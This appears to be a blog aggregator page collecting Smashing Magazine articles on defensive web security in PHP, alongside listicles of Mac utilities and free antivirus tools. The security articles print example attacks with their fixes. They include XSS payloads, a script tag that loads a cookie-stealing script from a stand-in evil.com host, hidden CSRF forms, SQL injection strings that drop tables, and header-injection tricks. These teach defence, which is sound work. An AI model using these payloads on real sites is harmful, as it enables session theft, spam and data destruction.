In an HTML context, data is written into an HTML page as part of the content, for example inside a <p> tag. Examples include a search results page, a blog commenting system, dictionary.com’s word of the day, etc. In this context, all HTML meta characters need to be encoded or stripped. That’s primarily < and >, but using PHP’s FILTER_SANITIZE_SPECIAL_CHARS is probably safer, and FILTER_SANITIZE_STRIPPED is probably the safest. Make sure you know what character set your data is in before you try to encode it.

There may be cases when you want to allow some HTML tags, for example in a CMS tool or a commenting system. This is generally a bad idea because there are more ways to get it wrong than to get it right. For example, let’s say that your blogging system allows commenters to markup their comments with some simple tags like <q> and <em>. Now a happy commenter comes along and adds the following code to his comment:

<q onmouseover="alert('xss')">...</q>

You’ve just been XSSed. If you are going to allow a subset of tags, then strip all attributes from those tags. A better idea is to use a CMS specific syntax like BBCode that your back end can translate into safe tags.

Attribute Context

In attribute context, user data is included as the attribute value of an HTML tag. Depending on the attribute in question, the context might be different. For non-event handlers, all HTML meta characters need to be encoded. FILTER_SANITIZE_SPECIAL_CHARS works here as well. In addition, all attribute values should be quoted using single or double quotes or you’ll be hit like the examples above.

For event handling attributes like onmouseover, onclick, onfocus, onblur or similar, you need to be more careful. The best advice is to never ever put input data directly into an event handler. Let’s look at an example.

<?php
  $n = filter_input(INPUT_GET, 'n', FILTER_SANITIZE_SPECIAL_CHARS);
?>
<input type="text" value="" name="n" onfocus="do_something('<?php echo $n; ?>');">

Looks safe, doesn’t it? What happens if an attacker tries to get out of the quoted region using a single quote, i.e., they use a URL like

http://servername/?n=foo');alert('xss

The input is sanitized and all single quotes are converted to &#39;. Unfortunately, this isn’t enough. An event handler executes in two contexts one after the other. The data in the page is first HTML decoded and the result is passed into a JavaScript context. So, as far as the JavaScript handler is concerned, ' and &#39; are exactly the same and this introduces an XSS hole.

The best thing to do is to never pass input data directly into an event handler — even if it has been treated. It’s better to store it as a the value of a hidden field and then let your handler pull the value out of that field. Something like this would be safer:

<?php
  $n = filter_input(INPUT_GET, 'n', FILTER_SANITIZE_SPECIAL_CHARS);
?>
<input type="hidden" id="old_n" value="<?php echo $n ?>">
<input type="text" value="" name="n" onfocus="do_something(document.getElementById('old_n').value);">

URL Context

A special case of the attribute context is URL context. The value of the href and src attributes of various elements are URLs and need to be treated as such. Special characters included in a URL need to be urlencoded to be safe in this context. Using an HTML specific filter is insufficient here as we’ve seen in the missing quotes example above.

Also take note of URLs in meta tags and in HTTP headers. For example, code similar to the following was also recently seen online:

<?php
  if(preg_match('!^https?://(\w+)\.mysite\.com/!', $_GET['done']) {
      header("Location: " . $_GET['done']);
  }
?>

On the face of it, it looks safe enough since we’re checking that the done parameter matches our domain before we redirect, however we aren’t validating the entire URL. An attacker could easily slip in a newline character and then add more headers, for example, a second Location header, or an entire HTML document for that matter. All it takes is a little %0a in the done parameter.

Notice that the match uses a / after .com. This is necessary to protect against user@host style URLs or third party subdomains. For example, a malicious user could create a subdomain called www.mysite.com.evil.com and trick your regex. Alternately, they could use a URL like http://www.mysite.com@www.evil.com/ and trick your regex.

If your URL contains only ASCII characters, then PHP’s FILTER_VALIDATE_URL filter can be used instead of funky regular expressions.

Remember: when writing out URLs, the & character is special in HTML, so it needs to be written out as &amp; (although most browsers will accept it if you don’t), while the ; character is special in an HTTP header, meaning that &amp; will break the header.

When dealing with URLs, figure out which context the URL will be used in, encode it correctly and possibly check the domain. When checking the domain, make sure you use a starts-with match, and include the trailing / to protect against user@host style URLs.

JavaScript Context

If input data needs to be written out in a JavaScript context, i.e., within <script> tags or in a file served as the src attribute of a <script> tag, the data should be JSON encoded. In PHP, the json_encode function can be used. The JSON homepage has a list of JSON libraries for many other languages, all of which have a similar function.

Simply escaping quotes using addslashes or something similar is insufficient, because within script tags quotes can also be represented by their HTML entity values.

One special case to think about in the JavaScript context is the use of web services that return JSON-P data. You do this on your web page by including a script tag that points to a web service and specify a callback function to be called when the data is loaded. For example, to load public photos from Flickr, you’d use something like this:

<script src="http://api.flickr.com/services/feeds/photos_public.gne?format=json&jsoncallback=myfunc"></script>

Before you do that, you’d define myfunc in JavaScript. However, what you’re doing is giving the script from Flickr full access to your page’s DOM. As long as the script respects its contract with you (i.e., the API), you should be safe, but if whoever controlled that script were to suddenly turn evil, you’ve just opened your users up to attack.

In general, only point your scripts tags to URLs that you fully trust, both to not be evil and also to never be compromised themselves. If you must include untrusted scripts, consider sandboxing them in an iframe or use Caja if you can. If you do use an iframe, then consider that there may be certain conditions under which you need to use a double-iframe. This is primarily done to prevent referrer leaking if your page’s URL itself is secret, like a search results page or a capability URL.

CSS Context

Internet Explorer is the only major browser around that allows script execution within CSS using the expression syntax (deprecated and no longer supported in IE8 and later). However, that’s still reason enough to worry about it. As an example, consider a website that allows users to customize the background of their profile pages, similar to MySpace or Twitter (note that neither website is vulnerable to this flaw). Let’s say that you accept a background color and/or image and assign that to the CSS background property. If you don’t correctly validate and sanitize the values passed in by the user, they could pass in a JavaScript expression instead of a real color. This might result in CSS code like this:

background: #28d expression("alert('xss')");

Making sure the background color the user specifies is a valid CSS color and nothing else will protect you from this kind of an attack.

With URLs, a different issue may come in to play. Let’s say that you allow the user to specify their own background image URL. You validate this URL when the user specifies it — to make sure it doesn’t return a 404 error. After this is done, the user could replace the URL with a script that returns a 401 HTTP status code. This makes the browser throw up an authentication dialog, which might confuse the user into entering their username and password of your site. An interesting attack that we haven’t seen outside of the lab.

The fix is to download the specified image to your own server and run some kind of transformation on it, most commonly for size. Even if your transformation does nothing, it can still remove malware that may be embedded in a JPEG.

Other Contexts

There are other contexts that we don’t look at in this article. These commonly deal with the back end and include things like an SQL context or a Shell context or a back end web service context. Another interesting attack that results from improper input validation is HTTP Parameter Pollution or HPP for short.

Should you filter on input or output?

The comments of my last article brought up an interesting point regarding whether data should be filtered on input or output. Since we have so many different contexts, it seems obvious that data should be filtered just before output depending on the context. Filtering for the wrong context could still introduce vulnerabilities. This is the ideal case where every programmer on your team knows what they are doing at all times and always programs with security in mind. In practice, this doesn’t always happen. Even experienced programmers have been known to slip up once or twice, and it’s those occasions that come back to bite you.

A simple guideline is to strip out all punctuation by default and let the web developer override this based on context. This means that using untreated input will either be safe, or not work at all, which serves as a reminder to the developer that they need to think about context. We encourage developers to validate data on input. This involves checking data types, ranges, lengths and possibly the character set/encoding in use. The purpose of validation is to make sure that we receive what we expect to receive. Data should be further sanitized on output depending on context. Sanitization involves transforming (possibly destructively) the data to be safe in the output context. Remember that sometimes a single piece of data may be used in multiple contexts on the same page.

Both validation and sanitization are types of filters to be run on input data, and often both might be required.

In closing

No data that comes in from an untrusted source should be trusted. This would include anything that you did not create yourself. The data may come in as command line parameters, through a query string, through POST data, cookies, HTTP headers, a web service call, an uploaded file, or anything else. If you did not create it, then it can’t be trusted. Validate all data to make sure it’s what you expect, and then treat it to make sure it’s safe in the context where it will be used. Be aware of the different contexts within a web page and keep your users safe.

References

  1. 1 Cablegate security vulnerability
  2. 2 XSS on ICICIDirect
  3. Cross site scripting in CSS
  4. PHP’s input validation and sanitization filters
  5. The Caja Project
  6. Capability based security
  7. HTTP Parameter Pollution
  8. HTTP 4xx status codes
  9. JPEG exploit beats antivirus software

Related Posts

You might be interested in the following related posts:

(vf)


© Philip Tellis for Smashing Magazine, 2011. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: filtering, hpp, javascript, security, xss

December 22 2010

17:17

13 Excellent Mac Utilities You Might Not Know About (But Should)

There are many Mac apps/utilities out there, but getting by free and good ones are not that easy. That is why I am sharing The 13 Excellent Mac Utilities You Might Not Know About But Should. Read each entry in the list and see which tool suits your needs best.

You are welcome if you want to share more web apps that our readers/viewers may like. Do you want to be the first one to know the latest happenings at  SmashingApps.com, just subscribe to our rss feed and you can follow us on twitter and follow us on Digg as well to get updated.

focus booster

focus booster is a simple and elegant application designed to help you eliminate the anxiety of time and enhance your focus and concentration.

SMARTReporter

SMARTReporter can notify you of impending hard disk drive failures by sending e-mails, displaying a warning dialog or executing an application. The current status of your hard disk drives is always displayed through the customizable menu item.

Fan Control

Some MacBook (Pro) are just to hot for daylong use. Fan Control adjusts the minimum fan speed depending on the current CPU temperature. For safety, it leaves the original automatic fan speed control intact.

iTweaX

iTweaX is a free utility to reveal some usefull hidden features and maintenance tools for OS X 10.5.x and OS X 10.6

coconutBattery

With coconutBattery you’re always aware of your current battery health. It shows you live information about your battery such as how often it was charged and how is the current maximum capacity in relation to the original capacity
your battery had when it left the factory.

Permissions Reset

Permissions Reset will reset the permissions on anything, be it a disk, folder, application or simply a document, and it’s easy to use and operates fast.

WhatsOpen

WhatsOpen is a MacOSX utility designed to aid you in determining what is holding your files open. There is a common OSX error when trying to eject removable media relating to files being in use. Often times your files are in use by Spotlight or some other internal system and you don’t even know what program to kill to free up the files and allow the media to eject. This utility makes that a snap. It also provides many other administrative features you may find useful.

AppFresh

AppFresh helps you to keep all applications, widgets, preference panes and application plugins installed on your Mac up to date. All from one place, easy to use and fully integrated into Mac OS X.

Pref Setter

Pref Setter is an application used to edit plist (Property LIST) files, geared towards viewing / editing Mac OS X’s preference files. Very useful for setting those “hidden” preference settings that aren’t available directly in an application.

Mactracker

Mactracker provides detailed information on every Apple Macintosh computer  ever made, including items such as processor speed, memory, optical drives, graphic cards, supported Mac OS versions, and expansion options. Also included is information on Apple mice, keyboards, displays, printers, scanners, digital cameras, iPod, Apple TV, iPhone, iPad, Wi-Fi Cards/Base Stations, Newton, and Mac OS versions.

SpaceControl

SpaceControl will warn you when the free space available on your startup disk goes below the choosen limit.You could choose to get your warning through E-mail.

Disk Inventory X

Disk Inventory X is a disk usage utility for Mac OS X 10.3 (and later). It shows the sizes of files and folders in a special graphical way called “treemaps”.

Xbench

Xbench is useful not only for comparing the relative speeds of two different Macintoshes, but also for optimizing performance on a single machine.

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

November 30 2010

13:46

Top 10 Most Popular Free Security Software (Computer Security Day Special)

Computer Security Day is an annual event that is observed worldwide. It was started in 1988 to help raise awareness of computer related security issues. The goal of Computer Security Day is to remind people to protect their computers and information. Officially, Computer Security Day is November 30th. However, some some organizations choose to have functions on the next business day or week if CSD falls on a weekend. According to CSD

For sure, it’s an excellent move to raise the awareness to understand why it’s important to secure PC and the data inside it and how anyone can make it easier to implement the effective security level to his computer oriented environment. There are many security software are available, but getting by free and good ones is not that easy. That is why to observe this great event today we are trying to do our part and listing down few  excellent free security software. Read each entry in the list and see which website suits your needs best.

AVG Anti-Virus Free Edition 2011

AVG Free provides you with basic antivirus and antispyware protection for Windows and is available to download for free. It can work like a fast and effective protection against viruses and spyware. You will stay protected on social networks with AVG Social Networking Protection.

Avast Free Antivirus

avast free antivirus is the minimum protection you should have. It provides great protection against viruses and spyware. It is effective and the most complete free antivirus on the market.

Avira AntiVir Personal – Free Antivirus

Avira AntiVir Personal protects your computer against dangerous viruses, worms, Trojans and costly dialers.

Malwarebytes Anti-Malware

Malwarebytes’ Anti-Malware is a high performance anti-malware application that thoroughly removes even the most advanced malware and spyware. With one of the fastest, most effective quick scans and malware removal capabilities on the market, this program is the perfect addition to your PC’s defenses.

Ad-Aware Free Internet Security

Ad-Aware Free Internet Security features real-time protection, advanced Genocode detection technology, rootkit protection, automatic updates, and much more.

CCleaner

CCleaner is a great tool for cleaning your Windows PC. It protects your privacy online and makes your computer faster and more secure.

Spybot – Search & Destroy

Spybot – Search & Destroy detects and removes spyware, a relatively new kind of threat not yet covered by common anti-virus applications. If you see new toolbars in your Internet Explorer that you haven’t intentionally installed,
if your browser crashes inexplicably, or if your home page has been ‘hijacked’ (or changed without your knowledge), your computer is most probably infected with spyware. Even if you don’t see the symptoms, your computer may be infected, because more and more spyware is emerging. Spybot-Search & Destroy is free, so there’s no harm giving it a try to see if something has invaded your computer.

Hotspot Shield

Hotspot Shield protects your entire web surfing session; securing your connection at both your home Internet network & Public Internet networks (both wired and wireless). Hotspot Shield protects your identity by ensuring that all web transactions (shopping, filling out forms, downloads) are secured through HTTPS. Hotspot Shield also makes you private online making your identity invisible to third party websites and ISP’s. Unless you choose to sign into a certain site, you will be anonymous for your entire web session with Hotspot Shield.

PC Tools AntiVirus Free


With PC Tools AntiVirus Free, you are protected against basic cyber threats attempting to gain access to your PC. Don’t risk going online without protection. Dangers include contracting malware or getting your identity stolen.

SpywareBlaster

SpywareBlaster can help keep your system secure, without interfering with the ‘good side’ of the web. And unlike other programs, SpywareBlaster does not have to remain running in the background. It works alongside the programs you have to help secure your system.

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

October 22 2010

10:00

A Beginner’s Guide to Secure Your Site from Web Trespassers

Information is everything. The web is full of free information for everyone to use but there are things that webmasters don’t want people to know, things that should be kept away from prying eyes. Be it an exclusive section on your website for premium users or content that thousands of users use,  it is best that you stuff-up your arsenal to avoid things go awry.

There is no such thing as an unhackable website, there are just those who are close to it or are offline. It is important to know how attacks are made in order to plan ahead.

Attacker’s Point of View

Image by: Benjamin Earwicker

First thing a hacker might want to know is information about your host and OS. From this they will learn of existing vulnerabilities, if there are, and hack their way in to your system. So choosing a web hosting that cares about security is very important, especially if you are on shared hosting where you are at the mercy of your host.

With today’s technology most websites have become more interactive where users can request and input data, personalize and manipulate the site. But interactivity provides loopholes in security. A good hacker will scan a target website thoroughly just to gain access to its server.

More below for in-depth discussion about attacks.

When a Hacker Attacks

Image by: eddmun

An experienced hacker does not attack blindly. When he attacks, he attacks with conviction (or curiosity). Usually they are armed with vital information that they can use to destabilize your site. Below are some of the most common forms of attacks:

  1. Defacement
  2. Defacement is common for government and celebrity websites as well as other innocent ones. Attacks like this can range from an act of retaliation to just simply for fun.

  3. Authorization Bypass
  4. A successful authorization bypass will make you shout “this is my code, not yours!”  Some hackers would actually want to have a piece of your code either to make a clone out of it or to destroy it.

  5. SQL Injection
  6. Then there is what we call SQL injection where the attacker inserts SQL queries in unsuspecting forms to extract information from the database that is not usually available even to your users: passwords, e-mails, and things you don’t want people to know. How will it impact you if a hacker drops your most important table and you do not have any back-up? Ouch!

  7. Cross-site Scripting(XSS)
  8. Another form of attack is Cross-site Scripting (XSS). Bad guy messes up with the good guys. What makes this kind of attack evil is it is easy to defend against but hard to detect. How will you defend if you are caught by surprise?

Image by: Ramasamy Chidambaram

I remember writing and submitting a simple script in an input field of a friend’s website which caused all users to see a pop-up whenever they load the homepage and be redirected to another website. Instant chaos. Of course this matter is easily fixed by simple input validation.

Image by: wikkedhill

Perhaps the best way to validate user input is not by specifying the should nots but by telling what is only allowed. To specify is to exclude. Less time and effort. Neat.

Security Guy Should Know

Image by: Julien Tromeur

There are many 3rd-party applications today, rate of birth is almost the same as Moore’s law. But is the guy in charge of security knowledgeable enough about these 3rd-party applications and the vulnerabilities they bring? If not, then trouble is looming, or you might opt to write your own modules.

Security guy should also know about Google Hack. Is Google still your friend? With advanced search query even the most seemingly impenetrable server text files can be harvested for everyone to see. By knowing what Robots.txt is, this form of attack can be stopped..for a while.

Run tests on your website using vulnerability scanners and website security audit. Try Acunetix and Beyond Security’s vulnerability scanners.

You can download Acunetix and BeyondSecurity’s trial scanners and find out flaws in and out of your website.

Although some good services do not come free, at least your website is secured.

If your CMS is WordPress refer to this comprehensive guide on Hardening WordPress.

Monitor Website Uptime

Image by: Chris Cockram

Is your website still working? Are people enjoying your services while you are away from your keyboard? You and security guy can’t be monitoring your website 24 hours a day just to maintain its availability (and stability), it’s just impossible. Let someone do the monitoring for you. SiteUptime’s service will alert you via SMS or e-mail if your website becomes unavailable. Some companies offering similar services are HostTracker, Internetseer, and WebSitePulse. Now every time you receive an SMS you will automatically think your website is down.

Hacked? It’s Not the End

If you feel like your security has been compromised, or really has been, do not act calmly. Connect to your FTP like your life is on the line and, if successful, change your password immediately to avoid further damage. Now you may breathe slowly. But in the event of failing to connect to your FTP you should immediately contact and notify the authorities for them to investigate the crime scene and your web host to regain your access as soon as possible.

I know it is hard to take your website offline, but in the case of your website being infected by a virus that attacks your visitors..take it offline, you must. Another way to take good care of them.

There are actually many forms of attacks, methodically these happen through FTP and through CGI vulnerabilities. It is wise to do research on your applications  for known vulnerabilities and if there are available patches. Always keep yourself, and your applications, updated!

Prevention is Better Than Cure

If you think you’ve done all what you can to secure your website but something still feels lacking, you might want to hire proven-and-tested security experts to try and break into your site, legally. They do not come cheap of course.

Below are experts in finding vulnerabilities, they offer almost the same services and boasts notable clients. Meet the good guys.

Rent-a-Hacker

Security Brigade

News and Updates

Updates are made in order to patch-up loopholes and add features. Not aware that something is wrong with your current applications? A good way to know if your website is secured is to learn of the current exploits that users and developers from around the web has found. There you, or your security guy, can formulate what to do next to patch it up. A comprehensive, and current, list of exploits can be found at Exploit-DB.com. Prevention is better than cure, as they say.

Also, be up to date of the current attacks that happen globally. A good news site about cyber attacks and other security news is CyberInsecure.com. Another gem that I found is SecurityFocus.com, it provides easy browsing of hundreds of vendors’ vulnerabilities. Sleek.

A person who is always up to date is never caught off guard. Good luck to all!

October 18 2010

13:48

Common Security Mistakes in Web Applications

Smashing-magazine-advertisement in Common Security Mistakes in Web ApplicationsSpacer in Common Security Mistakes in Web Applications
 in Common Security Mistakes in Web Applications  in Common Security Mistakes in Web Applications  in Common Security Mistakes in Web Applications

Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.

There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.

We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.

[Offtopic: by the way, did you already get your copy of the Smashing Book?]

1. Cross-site scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.

Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

<?php
  echo "$user said $message";
?>

To read the message in from the user, we’d have code like this:

<?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>

(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.

We can change our PHP code to the following:

<?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-site request forgery (CSRF)

A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.

Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;">

Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.

Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>

Which will POST the form back to www.mybiz.com.

The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.

There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

<?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?>

The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.

An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

<?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?>

We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

<?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?>

This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.

If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.

3. Click-jacking

While not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.

Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack.

Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.

A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

<input type="text" name="message" value="<?php echo $message ?>">
<input id="msg_btn" type="submit" disabled="true">
<script type="text/javascript">
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
</script>

This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.

4. SQL injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:

Sql in Common Security Mistakes in Web Applications
Full image (from xkcd)

Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

<?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}
?>

The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like

test');DROP TABLE Messages;--

When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief. This kind of an attack calls attention to the attacker, but little else. It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users. Consider this message instead:

test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...

Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.

Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.

<?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh->prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt->execute(array($user, $message));
}
?>

This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.

There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.

Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands. There may be more functions depending on the language you use when building your web app.

The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.

If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.

6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.

  1. Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
  2. Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
  3. Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern.
  4. Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.

If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.

Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.

Further reading

  1. OWASP Top 10 security risks
  2. XSS
  3. CSRF
  4. Phishing
  5. Code injection
  6. PHP’s input filters
  7. Password anti-pattern
  8. OAuth
  9. Facebook Like button click-jacking
  10. Anti-anti frame-busting
  11. The Yahoo! Security Center also has articles on how users can protect themselves online.

© Philip Tellis for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: click-jacking, csrf, PHP, security, SQL, xss

October 11 2010

12:01

Local Storage And How To Use It On Websites

Smashing-magazine-advertisement in Local Storage And How To Use It On WebsitesSpacer in Local Storage And How To Use It On Websites
 in Local Storage And How To Use It On Websites  in Local Storage And How To Use It On Websites  in Local Storage And How To Use It On Websites

Storing information locally on a user’s computer is a powerful strategy for a developer who is creating something for the Web. In this article, we’ll look at how easy it is to store information on a computer to read later and explain what you can use that for.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is Successful Freelancing for Web Designers, 260 pages for just $9,90.]

Adding State To The Web: The “Why” Of Local Storage

The main problem with HTTP as the main transport layer of the Web is that it is stateless. This means that when you use an application and then close it, its state will be reset the next time you open it. If you close an application on your desktop and re-open it, its most recent state is restored.

